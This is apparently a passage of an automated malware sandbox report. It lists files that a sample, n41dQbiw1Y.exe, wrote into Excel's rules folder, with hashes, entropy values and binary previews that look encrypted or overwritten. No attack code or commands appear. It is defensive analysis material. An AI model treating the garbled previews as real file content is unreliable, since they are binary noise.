Preview:	<?xml..,cl...0\.A..p4.p......8...6.N..A......N..b...Y._...V.t.].c...>..`GGXV..D.."].......f.z..o..C...]....h....yK..-.o.86.V.v..}.B..:S.c.h....(w..K } J:.r... w..W..y...h.....M.aRI...<..H........G.b.;....G.\...-]........t.L...H.t....m>.d.@....m.{m.X^...B.7._.[ t...c.........8G....t.kH....H..9...+...'(i.\.....;.....:....EN._UKI<..z...u.bo. ....Pcq].R...;..6.<.Lt..b.~.......'.qTq.......}.>..\v-.1.N..!.5..K.S.Ul..G.....[^..h......X+.<cA....0..xN...OJ.....#J..9/..Gj.Y.p...({..>.;./}.4...}.....]-..{..R-..\Y.~..v....x..'6....%....q.T../5w..y.p..&.....I....6......z58 ..f..\.,..`P...-.....2.z..k8..q...c.#.t.{&.u.'.'...<N7&b.27....1........dT...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320029v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	7.800652922067492
Encrypted:	false
SSDEEP:	24:989uJ81lCjb2zweVu/AEBT2lOYe3eXVcGbCxKs7+Iwk7bD:mQtIYbBT2lNeOX2xK4+xWD
MD5:	092554EFA9B0F784184B9B499B4D55BA
SHA1:	17A826870EEAB94AD72EA90740138C0A0D29E346
SHA-256:	E6ADA0BA40576B0F4ED8B964843FE414F7845376F35DBF6E4D2B6F271C842957
SHA-512:	EC2BD8543E462E6B2F38B720362C56A1568615C92F17CE9567BC3E1ABC7F8A9B8FC1A218F71B345C71FD702BF3B44F692C6AD840A9F939CC61D164393CD1AD8D
Malicious:	false
Preview:	<?xml7... V.,l.."~....S".1b%...Z.7.G+.(..i.\|.b4.....#xT..1\.N...VO...Hn)2.oo]...........w.VB.5..@....`j.>..............]&..A.5c?...J.......?.]..z#g.........sC1&.......H...9+..&3VNR../..#m..68[.C...9V.D.3ZD..."...2...(.).....\|........%3(@..6..$....J..q..=k4..W...8.....x~H+8.<.....tO..9{...JO....{.?....,..1.j.o$...U..\c....l3.3dQ4.py;N.-.../j.+y.$..=i.I.@G.ZE].h...8r.>......n.?..N...Q11..,..?.I.W..u..w.x..S.}..q.n....U...&yD...=5..e.&.D;..$.y..n..,N.}.........p=.w.+...-..>q.q.....N.....yH.`uM. ........+....g.l.!R.1..lX!...=...B....z.....!....F...hc..\../..}o.U.....q..\e....`d.o-.=..!.....NJY_[...2".}2....a.A.'...>t......F..w....q......i..qd.."$..Hd...'....Q.;...#"....q.'....SB...@.1k...J.2....\|lQH.....9..q..k.A.;..zq(.........(^^..ny$.W...[....N..[..);Nb..G.......W..I^..Q.Q.66.z9....J-2..<.cp[.~.._...T.$.4...Ja.dRH9. ......f...K..1e$.7.U6'L..l.Lw...s.Nrn..0Rm...W#.W...l.IQ...\|..HZ.\...LS..T..]0.+{..k...04{...q...P....b.q;.C.w..!...%...5.-...I.O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320032v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1025
Entropy (8bit):	7.78044019595378
Encrypted:	false
SSDEEP:	24:iXfXR1m7IJTznKZacRrVAWT07CX6PAf9se7bD:I7Xcf7T022Af9ND
MD5:	63EFC969A1133E1196DF9CFEA6EF7C4A
SHA1:	F16E73A5B8801015659E16826478D09780FB2EC9
SHA-256:	D7D6FA37777DB6CC0C036C7562E7AFCD0C22E744FA562FFE0B4E75BCD8FF75B0
SHA-512:	63DD4751F9991FC0895CBFC6E328BBA4086EE5A7F6516DBAC994F3501DECA09F70C772482BFB27B47156A98513AA2E55C0A59EFF96529868CA98466C47532A34
Malicious:	false
Preview:	<?xml.cj.o..8..R.},..[..........Af...&.J.u..FtB6........7."..GD..W..I...=r......"s.m.^.q..l.....F]...i..{K..q...c.c..u..VJ2....6...[[.!...KJ(.Cw.s.$4..b..q<....Y.rs.E.D....[..B.{.$../$...0..4...S.(\|N..ac..H.["...>..9+.w..@.i./ip..O..C.y....z5^R+D..}.0..q.....F.-~.29..v.U.m:U..:\^...v...s..s.r....gi:.T........p.G.E..K..9sX.u.k,[9....IH....}U.Z.,.<:.m......)..E.F.M....... .........J".&.@B....WN......y.....,!:..H7.ZR.W.X.$.;..q.O..u..R..r..0.....(..< ..L...<}.X....IkT[Y^Vd...d.1'H^...7...bJ:....F.D..6.#.0>)...1.qx..;..d.D...w..xM2...S9..x.....R.....g........$U.lq.o.M.1sTL.'O..Y7.V6..p.P.L.0'..-.;U..3.Pz.c.......U..T.e.7....lA.8.z\|.......E....r......~..;yCa]-.'r...}a.1o.<G..{(..b....}.ry.X...o..X{.B...2].....]..V.<?.K.@..w..&....E(F..........S...z/.C...O..U.....n....a..f.zK.UC........8G..l/wR.m....Z.~.b....._.......N"yC.>X...z.......F1.sR......8.....S<$.\...5..........4....z..h`.....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320033v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1112
Entropy (8bit):	7.8261067462860145
Encrypted:	false
SSDEEP:	24:0tOmmhW+DbVcFIUN0JmNWe4fRP0SJcdMK+fyrFbD:1WscFILJvdySJYMK66D
MD5:	E5B02D75083BA7A51B64845B9F3BC536
SHA1:	6BCC66674E78E9A8C50D5B9D40F5C0FBCF0B0953
SHA-256:	532301F0BA4F54769F9569D0FB2182BE42A408ABCBADC4A5372557FC7B9F482D
SHA-512:	852B0D7AD348CD990947CFBF05BCD22D21CA5B71F9AAE0BC8F0C24DC73FE08D151AA2956DF17848B142863EE89C8F47196215F62AF7898B0894D91F7D999CCFC
Malicious:	false
Preview:	<?xml.?R....@.o..azz.._..w..&.B..$..}..e..-=..... C..V.?l.:. .+...#.Qz..-.#O....[..ZM.)Yt?3".O..qU.9&..]3c.(....4...Aw...P.D....g.:..f.Z..4..{....Q.......>.7:..ee.]....A...M?b....V.g?..nPe.^R.s....a2I_I.)S[...qb([.<C......l.M..9.._-c...ch0..LsG..98.! W.....T..xR"...z.-.......Z..e].?.f...;..>..'.n.5.0.X7..M;S....B...e.......3.....9.$..$.n9..........-@/..`.Su..^l.,9u$..m.&?........S...q...5$.2oYRhj}..A2E......jF..._..{......@....u.M@T\|..I..@.qr..$0..W.F..Q....?......`..li..c..../..U....Q.<.......Y(..h..y.,...=.......&...{.po.R..dL%%.8......D..w.%.l.9g;,..b_.......I.<.._..t.....O.w.X.l....C.3Q.)>..........a....\|.....k.#....k.4Y.).y.ljf..u....1\...(bD...ib. 2xk......,p..9>/g.'....P...=...C4.aW..@.....\..6.K..rtW.....-.4. ...........M..'....H.Ck@....3.aM~..#....../(..^.D....z.HF71..A\.d$......".T.....n.%1.........,......[.~.<. .~]S.../.8s!...dwl.w&b..7..RY..;.i.P....G.c..^..uV.O..&<`...W...xd.o.0..wq.{RgN4.D..w...b&.........,..~...P..U.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320034v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	7.78968089702072
Encrypted:	false
SSDEEP:	24:KfW0awNj4xNGPGxmH8ksuaGyIgkAeaQxXbD:SawNbPG8HOsdairD
MD5:	2FBCE2A84D2DA5BF1C1927B95C8DA4EA
SHA1:	2AD0F2E50C3D1A62F2A6DF468EBAB41A4DB8D2D4
SHA-256:	EEEAE616A6E45210D494D284581176E2C11F68CBD2157131023E06005C8B0377
SHA-512:	19CCE044EDDE2E1F03D2871983EBF8BA4F6DC592943B5FA0B50094C62C6FE88689C19DEBB7431F35D5C0AB036AEBDB204B0EBA2F4D81F1BD2080C3895BB9061C
Malicious:	false
Preview:	<?xml.....z.).31..b5@/.&.\|.+".{.K...^........M.=".U.Nx8.vs.i.Q..4.....y...\.?F...}k...'.;......./j`..(I8a..b.`..._.p.5.E3z..D!\.k.F....o..S.~...`F...Hp=..8.....}....\|@<J....-.D..CR......_-.../.`..<,$..Y..L..}..C........[...........P..u?D.=..0..gi.s........ovX..sy.......A.5........&..".-,.Uk..}y.. F`.-..&#...'...fT.K..N.q....#.>........<.Cgh..e(.....R.......`.Tm"...$E....D.d.!..\|d./..Gl..t)oh...Y.K3J.9.&.w..'..K.e.!...Y...hn..a.2..p...r..G....6Ds.(...X.{...6b.......5'7.H..Q..O.iye...v(.Y..I.."...)`.....kGA....E.~j....\N....8.D2Z..9\.S.Qbe.Z.....R.....U_..t..j.JgKRL...nS.d3....-.<.....(.<...^..&g..`H.........N..W..1'........1.A[f62./.UHD:O..e.......y...P...m.[........98.a.@..XB......y..Z$...z>..8j<YW.9x.]?F".....B.3.+.........0...mD.....>.....ys.}p..yc.ps...k...)..a..j.._k..3.[?B..N.y.SnH-\|GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule320035v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.864743211736806
Encrypted:	false
SSDEEP:	24:N/YKpcu5H2n1Eg6XOuQA/22M6cRDyU+cusS3qk1iOgtj4+IYLYTjJLvMUmZPJbD:zmWN+S2z6gDyzcusU1ibt2FjJvMDD
MD5:	83F365FE61BDF7D69B73D1A6FCBAFF62
SHA1:	0D484B4E4B2B1A04F5F2EF06190C8C37A5138A88
SHA-256:	2FE5420B3A865AAB8825CA72168E37AA3E46CA112A5E1F5B92E6FFE604E8DF9F
SHA-512:	7648920CD3AFB81A9ACED38648F046A6032C2BD1FA97B7A740B6617F491A5118BEB7A76D3CEEFA7EB392E30C65DE88302CEDB7FAB3C2B6E5FFB50637883975EB
Malicious:	false
Preview:	<?xml...)f.]..19`.h..Y.)....\.....2lE6..W.C-...e6..=.X.^..I .....,.#....K..F...../..R..S6.........Zx!......^..Kw:.!Gb...;.&!..'..U..4..z`;]....rvM...B.=.C..1d..~..t._.M.M...A...4..ojb33$V2.9..9.lN....\|.g.j....z...7b..Vt.F.V..}..k.._..&J..cL..Rj....I.....]..o.Q..B..f./N=.~...B.,...o..nL)...,.... z...z.'=W..b.....L(q.,.!.~D.3...H.5u.v...kQ.T..P..\|.. ....H.y....'....%.fo..VR..R@.e...c.'"X.%6.gQ..-.s#TQ...6..K.z.{.\|.....ZtT....va.BH.&....r..."Z....J?hS....^..~.....(.MA...y\.!......b.<~..7.#....h.T.M.a.~4...O.....,H.%`....(r.....d..<0S.\"a3.....!..#..%...V.&d....\...+HR..{...c...#V...x.u.?...W.z#v...Y.Y.... 3..+..x..bl..Tq....iR:..J.t(.......5..1.5W..q..$,%)\|.J...A$.(.Y...l...L.;R..9fX.3.~.m..`...y..S.....x..UL.....0........T..P.N.....^...nr.Q..A.GktLB.}...DiS\..`.t@W..e.!]f...a.C/. <!k.^8.:.2..NEU.9.L8<...h....q..X%....`h4.+a.....A.......>P.h?M.c.~.)..\.:...I-.......7}..L..b 8..5.....@...@.lW.T.X...]..:..~T5...{.GZ..#..."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322001v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.795671591123615
Encrypted:	false
SSDEEP:	24:4pF3JyHfPEeYDcrEBGS8gTo7VelNz1OfRxFbD:+F5yHecr71gk7VgUHVD
MD5:	5E95514ACDD19C05DD81EDEE7D26472C
SHA1:	F8D66049216F96E04B88FCD493F5642CCAC97638
SHA-256:	7C66D991D9D42F5C9BD3638FA966E2FCB8A31EC35E9D7BEF6C5220FE87F85180
SHA-512:	DF0BEA36C0B1C1332E04478C24759C0049D4E49E24BA547C24180008B38FF56C1B9E77CC9800099AA7C1AC1886C3277F377234181F85F9458950B3259E4BA951
Malicious:	false
Preview:	<?xmlT.:....).AZ....).wnP..... v....}.......V.o9..L9...[e...(a...Z..H..V.z...g%...O6y#.y..<$.!O.#...!#.E..wE\|..tm.`...e5w.%].q.x`.l..~.#!]E.G.;8v.C.e....ro0.L.[K...8j..NB`'h..I.G....-..@nY.0q...x...;u~..o....$..6]..(....G..k...~..K~....<.w.g1c...c..s.\w....A..R...6..mY..{.%{...1;)2&.2....Q....n.=.E.....d...:..~.\$.....m.>...B...g...Qv....(.8...>...........C.<..t.U...ar^nB\|0,S.<.$..dOQrW.2G....%.!....q.&..r]c...{.!?.O/.......1..e.x....P.U.C.z....D.y...Q..+.Us..A..EE...;...........~.2......<v..4F`...?.q..*.........%w$.......b..r0n..1."9.;.n>f..zq....\|..S.PfX...5j.dF.qr!...~.~j=.W....2f.I.x..0.Z......J.aJ......0...[.......b...c.V...F..`_Cp./.+S:"_.7o.K.q..NG......n.]....,l..b..9.uj.X..M>./...S.S.k/..h>r...#..?.H.....6.....f..t].<`....\|.F.:. ..A9Z.q.i?..m.z"-.......T.rZ....l.v,..5..i.!=...N]..B........$!-..a...:..IJsA..}..z.Y..........)<.i>...1S-........\.-.%. .r..]9...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322004v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1133
Entropy (8bit):	7.829187599748512
Encrypted:	false
SSDEEP:	24:yYiWnD1xgGd+OpcNsqxY8HDtjlHMFvTgzj83ggtABHXwJ/37bD:9isnp03xY8VlHMF8zYZEH+/3/D
MD5:	4A4B5DBF5290AF780B460BFEE0EFCFAE
SHA1:	43F7009582E9FC529FEB0CE82FAAB22E53F4A93A
SHA-256:	6DF736534AFDFCF40B8EFE90A96FB708FDAAB9EC8866FD8E2E24FAA91906264E
SHA-512:	A50DDA6CA14CC5D7423A13DA6D39EBD52472C0D035E89407D261114F44F568781B6E32090B7AA520FCB5D9DA2C0D69F765381134CDC09B55F88F081CA6C9C92D
Malicious:	false
Preview:	<?xml.}u]...m~.\............!....f......-s.aQ.PXB>....\.T\Y.&.....+..aD.O..`.PTC...h+6....x.7H.."...\.zt......%....5..f9w.m.G..q....g..\|S...1H.....v:m ........O....`:.G,.M.....'M.w.=.e..AQ.2O~L.&_..k..\|.8.h.}pd]...t.......Y......'..$H!.....b.?..".\..[VfQI.M.....pwi...&.R..F..SD.D].H......68.^..Ch...\\X.3^.{...I.w......tiG<.......z..k....!......s^.K.E..,.\RVP...P....?.....g..u$p+...M.k..[.....!.g..ux.q.<....]....<nV..f.uy..U.....g....k0+].Sq.)3....../.Nn......,..0t.!7T......m.'R;5.K.@.).._.Y..{X...D..c..>5......z..Z..#`n..@.......n.v.8.-..F{..x..S..1.:...+.....'<...5c~.a.R...q^W/.....ns.q......1.Q.K.y.........9H!...Cu.-......5.....FT....Jj.(.Z...mYE3.<....jB...u...q......^..<.cs.}r.Eav.....Z....X.9Y,p...r.\|T>.WwE...h...^.X.MSi.:....:.8g....?@..e....>.....U..An<3.(.u.wK._.c).6>Niu&G~M..1(..x...&#.x.F.'.O$A......E5....{..P.7...R....j.@;M.6..3u..<i+p..!../.......>@.&.R..o=[5F......C.o.<.'...p....,.h.!.......pO.#.].*.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule322006v5.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.892201733250976
Encrypted:	false
SSDEEP:	24:ZBdPlTajSKyVIPgjxLw10+AJV/KsSnNX7bAmAB6EBp+/DCZaIr2hb5m4z+UHftLz:ZBgSKvPY0y+QIsCiBhBpi0I5Bz/jD
MD5:	1C97E61DF8750798B4A8A1584D581FDA
SHA1:	389148D878241B682ED5F982D95391ACA588B0C3
SHA-256:	B60ABD51ED44606891B0E930A430DC8F4375460E6763B6F8B8000D117EB7E7A0
SHA-512:	3AF282857623BAF96548C8FF135D66C891C2DE36D1951E6E3010D95E7219576DBAD64FD534A2DE2D334B96715268C18CFD52B74666423164BD0ACA335D21DDD1
Malicious:	false
Preview:	<?xmlz...O..(.[.<B.G.u....Am..-D.2.R.C..T... .Z.W.Jx8={..h.._v^:)e1..\8P.D.H7='<...E..s..^h.5...F.e....ca...p...D.......:..0ISE-.I..8t>3d.h.v.$.....[.g...1...u},..Qzx.....k..M...V.\...Wqx..-H.0.`./.F..Xc.B..........If.....w...OQ...=..d.Bz1.<.s......`4....8.L.....Fim.g...t....4r!..'..Em!...K.W...q.....l...I...7d7.....R:.W...'.9.D..}e......DzHRB..Tg[n..E...9..8..+^.j.?\|......"./..N.M.&..bA..{.08......x..HR.W.F.w..."^..bdq~..l...W.C..i..;..c........6...&..E....T>..F#..d.l.\[8.......c&..Y...k.Yy. ...w...S]......._o..........G..M.,1U..?.........=g..B.......K.WO.3....h.n.2~.m..r..oH......I.@..J@...z...[DU~...{..;...>...P......{.....c\D..7OUf......O.,....Z..~.8.K...........k......Z2....5..F).a..$.....x.e....l...%...G.U.N....BE.n.?.-e..X.k.Tp...N.V4....7......k...bFm.RW+....j.....R.n.".............^........f.~uHe......a'.. /I+f...i...E..Wo.X...P.YE....i.RV...Y.V....g....1..."%.Ul...S.........46..eNM.(...=. .!.u...a..<..p.d..9Y=O1b

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324001v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	846
Entropy (8bit):	7.750638304831816
Encrypted:	false
SSDEEP:	24:GJnwRfZNZ85Thm/sD9flqRJK1tZRYqXptCOiBbD:CwRp8phV5l1dYq5UD
MD5:	9782689BCF5373248FE9173FC7A8731E
SHA1:	20AA0FB1D8820864C5952ABD5C21780908524FC7
SHA-256:	C96FD9E1951A3A74110665551F0BF672490E4E15F692D6070E3352A320C0FAB5
SHA-512:	27503EB5947081C4EA15BA142DF8878D628B253F2B79428D3D8B9688D9B70E7B710E3D0C163FC29805899CF294112505FFE342A85BFF11063EF8350D2358805A
Malicious:	false
Preview:	<?xml...o.....@C.tjE_.N.u.j.1./D..t$?S.....F.........\|.<B..+..Zv.K^.L......tn...........@..........~..&..d....k.:......\|..~....G.......z..0T....V.c.K.....a.........~....{...K.j.gt........1.G..n."O.HW..:....(..q....1.\|.7.. J..p...y4.,Y..,X.z@i%.....kRZ...i7...`.l1Wg.@..Hi...oX^.b....s.....&6..c3v.....Ug....<[9....w.(E.0.......u.8[.sc6.5....[s..qO..m.v%FpT...U^4./...@..)..t.A.v.W=<.JR ...c...d...M..V...hL6..uZX\A.h_u...?.../Yv.2.KMa....R..PJ).d./+pI$h....1..t1....J..&W...F)..'i...E.$......}.1'.E.._2..t.!..,Q7r..~....&{bz..;.-.#.i... .Q..j.....S..~...u.)..D..(.}f....9...e,XF.!/.......w.U.n..].>...5."..o.#,.Wm.HX..6Y6..hg......{]!...&w.t`U..z.-.....n....7l.J..............l.?5.....&..i..4....6.....F1.Ugb...fN..........}......GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.818467110254364
Encrypted:	false
SSDEEP:	24:E9d+Kg7vRz59SB7J7tdQdwFT70rBLS9tyVAF2kNUlUPBZTvM9bD:E9nWQJjQ8701ityVAvcK/vwD
MD5:	D3EFAAF49AE661F7B6209FF7D22D65C5
SHA1:	F982DC039F11C3061893E1201B898B655C3214D6
SHA-256:	D2177EFAE359C41983B03A6C2A86C8B888FB60D7518720EB06F2AD2C3EFBA6F7
SHA-512:	18A9CF5A5CBCE75CE9ED1AF14C4B497138F6850E8DCC333F66D8F8426D721057790898606EAD1B144A2810D8841CDAF9D8FB3DDCC073B296516F5350655C7610
Malicious:	false
Preview:	<?xml..b...Td.2...U2...F+,..Jo.\|7..$.......N.TI(.=.L.w..6VA...".F]B..tl.^.;R6...n.G.<.!.U.[1....x.?.fu.N.@_..g...y....sa.!..3.....s..-.XG#.P.y...k..Seb..).}..W.f.W..O...:.s....j...D..{5......]..q.....!..?6....7..dH.l.......]...?..U.h..q..q....$Vg..8.my.{..'.U...........g..8[4}).y.#..].1.+x......U{.I....4r4..Y..L7{.\P...zG:..XV...^.xO.........US.0w.F...uk.a".....s.;.?.*2..1.&.?..VyQO....9.O....#.t+.pS..B.M..fU\..c....uI...0@...nm'.r.D.{.K....24..(=.....9...w"..-..A.vzs ...BJ.V...E...(.q9qU...)Vw.h>j..3..'s...Wl..&....e......^....U..`...b...../Q..f....=...;3.,n.F...K...}.+.m........\.1s#..Lom.\A.il...._s.nz"..s...3.....g..m.%.y.m..8..J.E.'.P..qY0tx........`.or.{M......s....P@..B.q..6t..1..1.Z..&..T..1l....CE\|.{...mn...fIM2.....!.... q50......;..X.TY...............#J....D..q..u#.o..s.e.a.....(..R....m.4..........v[..M=b......S.3....DG.P].rD.:..An+.....X:O..4I./.....P...$..w.].3X..8.q.@.......p}zFhu...=..1..7.d._.G......!.}FWP.\.w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.8239221289769265
Encrypted:	false
SSDEEP:	24:RDgKyESKAsgMrf5KkoB0x782gGbp4P4tvucmEtFEHNLHubD:RDgKyE5pakE07vgGbeQtvuX/HNoD
MD5:	C600751D1028250CEC9F57829450F78D
SHA1:	704A36A1C52C9AACAE113624036CC477D50C595D
SHA-256:	001F4366ABC0621A80F48F50325CBD643A78903F78E5E35EA01AD344075EFB2B
SHA-512:	4CD39DE8AD3E659114B91768616F0ACF7D997E21AEB5C703B52134CD7C55F3DC5B8F968674425A586E83F14E54AF6FB66C93B311E85306210CB14DB37E7919D8
Malicious:	false
Preview:	<?xml..X.19::...p..~.1=.i.9!....Mxj..<.o....a._$U..A^....U.p^......">.u=.8..v1W.2..#...c.$n..).pJ......a9...W..4.....{?.[M.:.......B...(."..r.B.qi....!op+...@..>........9..?..XQb.=.[8...=..%O.L.f...\|.K..a.t(..J.;.Jl.t.bJ....;.f..[......'Dq...!.X..{..[.?`.cz..g...\|.h+.R...'.#.....y..?_}..-L... ..c..e.m.n..).)QC.B.f.A..T?.4...n...Ea5.aT..".@.^...:..B...x5tN.l..{.....e....)..f.....w...x.'.#Q..{3...C6....-..ncI\|@.xc@..X.5@{Q.w-.W,.=....K"...... ....b..i6.K..f^..fpd.....S.:.>p.'.f;s...E>.\|.2E.A}kI......o%.....C...8&.U..."zW...P..>...{u.yv..]........_..;.eJ.^.54Z~.\|;.Ul../....3...3E6h,.(...T.3}...k.O.No).?+.".g..O.$.v...&T'e..6..X:+.>.O7#......j%..]..p.p.d..........` ....1.K.#..$\.....`....#.....a..$b.......?.E.2.....n.{:....S.?..+.......7Q.B.s...D{o...K. xE../..t.}..T.^.T...[...oE6u..mda \._$.....?K...1....}........7'....1....uv.;.;=.]7.j1L....j..Qc..0..i..!....3..t..0.s.....3....(.......~...[.C/r.i..Z.=J..U.c.w.....P..;....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324002v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.812457164872013
Encrypted:	false
SSDEEP:	24:m4M1AmMCKOskc7VXU+knFvM7qt6WhAV0QZPU05IUbD:mImyXqFxfhAV0QK0S+D
MD5:	445AA671A067EBF0DD152C6A3FFCD0DC
SHA1:	F382CBC9A25BE91230524BC90D95F1916B13DECA
SHA-256:	5E534E2CB634DAB3C4A6F38EF85610BFC4B26B56F05FEE649D3F071F64D419C8
SHA-512:	0CC9727E9203FCB314DFE87084FF8B362FB078F4B72FB160E0BD8CFE47194F81119B384841A77BCB75AD283155A66343BA0F07348E6827BB055781415BE1F2FC
Malicious:	false
Preview:	<?xml#.?...DgC...5.I.;..s+...J.k.....C.._q.EQ".?.[+...X.....B;.......cW..........".^..4.......M.ta...Pqf.^L?iSXe...E..&e9.5....;D....QM....Q}9 ..]...B..H....%...n.g..\|.kX.x..(T..G.U2.\|...cM..)....\|.....Hj....V...;....y.#../ZuV......0tI.dy..\|. .r,.....M..!..bm.....<..)#...f.......`=.....&t...=Moi...G(..;.8.B..}yf....c.mfM.0oY.N..D.h"...iV...jC..$.1..^}p.,...>.G....;&....ia..[.#..;..\|2<..r..B\...&[..lV...-r.>.9.<=.ZAMx.)pP?a...da.s....Jt.k.CD.6h.."...(\|..@..T...qk.4...o.]...X.@..!"C..x...=..z96T..t[....^6G.R."0!GmM.FF......R.L./.A...E:...8@Ar.P..g.U....;.I@..Gt...a.P!..t.r..S.........b..s..........&..4.r...He.........`E.,.{#... .."...[.Y..7..V.........$...[.8_w..5w..d.`...I.\..+...J...X@....p.?............EW.;....\|%~.{#.Gw[....\....h ...W...n....X.i.Cx.u..P.....=.p...W7b..>.A...l7K##.d.....4...dq..t.$e.G.#.z.CL...}.B..A...wS...j.H9.5$..y...IF.R1DT...v..w..iG..a.....k.5.=.#.T.$....5".....l.ygm.O?f Iw...*./+f..W...\|....7....9.{BB..T..+..F.V

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.7954239643789975
Encrypted:	false
SSDEEP:	24:4IxZ37gldDHjGzCXP5PzaVXz5bVHmJK8tn1YOTe0XEIEi6HfekSbD:4IxZ0Hazu5La5VbsJVt1YQe0UhAD
MD5:	028839F4B55D07D965C37222C1BD8BD8
SHA1:	35B192A18E6833CAA2688FDA53330EA10CB7E641
SHA-256:	4C901DADFC552044E0D3B8693E226D9532F307B30466DD1BA638DAC5AF0D3818
SHA-512:	3FBD946ED53DD2B320C03FF91481C690F85DEDD2D6729866FBD87DA50D28D38BFF3F2B11503F1B76CBF1DAD1AD19931296A181D7EBDFEB0F787761ACBDA372E2
Malicious:	false
Preview:	<?xml.O..,.......C."..r.]..c...l..d.....E.F...2f...E.rS......N..././I...N.65....`k.....n......K.0...9.r....<.D.......$..................%..qP.....!!........hv\%...E.K..w...5.k..mj....J.f.H.........6...?%s.....j.-...D:..o...X........7b/....$@g.R........Q.y....!0.G.'.#......;.8I..m..uN.r....?.y..M4!.....Z..F.T.-.x{..c`.o,1...j....q...B..]I\g.....7..Q..p...r.C.iV....9I...P..X...I...;G.9`...RI..V......^..H0.Z;Sc...O3.._.{.27.z......j.<}.%.V..&.a..}..."..2'UU.....51.a^.s.Z....Pa.&.<...FV.7BgOFI.\...(..0~..:......;.$.>%_......}Kj'..%..+.{n..n. e$.?@....k.?.c.....V.......9.D.xy.D...ERXb/..z....../..AAdaA_=-B..7..5....U.g.x^0......`?}.......R..Tq..'u.)..l3.B.....k.s.8.Y?...y..w.A..:..\...... B.q....!..!0.C.....r..\.....=..=.g#.5'.<..z.d.r.y;.]i..Y......w.k._.L...nQ...._.a.W..........."..I.c.g.l..hgF+....o...............@5..j%.r...u..k..A..0/..x"E.yA....b..$.C.r/KA...F%_`Ro{.wR..o....0...fx..1.3.x9..2."....;..]Z...@..s0.2h...d7A~.F..%.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324003v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	7.8141990500734995
Encrypted:	false
SSDEEP:	24:N+fZeWrWgdE/5QRoJclarh5MltgXhHt5XxqaCPFupBVUbD:m9zdE/5QRYc0rHMIXBfkUXV+D
MD5:	DC20621A4A486F256DF630265A0AFDEE
SHA1:	1FB0CA0BB6A7D009A074F6D46C8DF3AE8ACBA86C
SHA-256:	B8AF4699841577E6B06F09707028967AAA8C21CAEB51EE10C519D2E5C7EE4F11
SHA-512:	158690B8D1FF33D5798FC1AE3ADCA861056450EC7E28ED3ECDF62D26E9A9193F527C5876CCF3D365FA309A7FF855A79E417086C0A1ED3A9990AF2EBC06D5C30F
Malicious:	false
